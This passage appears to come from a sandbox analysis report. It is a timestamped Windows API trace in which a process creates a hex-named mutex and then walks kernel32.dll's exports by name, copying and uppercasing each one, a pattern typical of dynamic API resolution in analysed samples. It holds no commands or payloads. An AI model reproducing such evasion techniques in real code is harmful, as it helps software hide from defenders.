bInitialOwner=0, lpName="621c08e0b4197730") returned 0x33c [0083.337] GetLastError () returned 0x0 [0083.337] GetLastError () returned 0x0 [0083.337] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2b50000 [0083.361] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b60000 [0083.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2b70000 [0083.362] lstrlenA (lpString="kernel32.dll") returned 12 [0083.362] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.362] lstrcpyA (in: lpString1=0x21feac0, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.362] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.362] lstrcpyA (in: lpString1=0x21feac0, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.362] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.362] lstrcpyA (in: lpString1=0x21feac0, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.363] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.363] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.363] lstrlenA (lpString="ADDATOMA") returned 8 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.363] lstrlenA (lpString="ADDATOMW") returned 8 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.363] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.363] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.363] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.363] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.363] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.363] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.364] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.364] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.364] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.364] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.364] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0083.364] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.364] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.364] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.364] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.364] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.364] lstrcpyA (in: lpString1=0x21feac0, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.365] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.365] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.365] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.365] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.365] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.365] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.365] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.365] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.365] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.365] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.365] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.366] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.366] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.366] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.366] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.366] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.366] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.366] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.366] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.366] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.366] lstrcpyA (in: lpString1=0x21feac0, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.366] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.367] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.367] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.367] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.367] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.367] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.367] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.367] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.367] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.367] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.367] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.367] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.367] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.367] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.368] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.368] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.368] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.368] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.368] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.368] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.368] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.368] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.368] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.368] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.368] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.368] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.368] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.368] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.368] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.368] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.368] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.369] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.369] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.369] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.369] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.369] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.369] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.369] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.369] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.369] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.369] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.369] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.369] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.369] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.369] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.369] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.369] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.369] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.370] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.370] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.370] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.370] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.370] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.370] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.370] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.370] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.370] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.370] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.370] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.370] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.370] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.370] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.370] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.370] lstrlenA (lpString="BEEP") returned 4 [0083.370] lstrcpyA (in: lpString1=0x21feac0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.370] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.371] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.371] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.371] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.371] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.371] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.371] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.371] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.371] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.371] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.371] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.371] lstrlenA (lpString="CANCELIO") returned 8 [0083.371] lstrcpyA (in: lpString1=0x21feac0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.371] lstrlenA (lpString="CANCELIOEX") returned 10 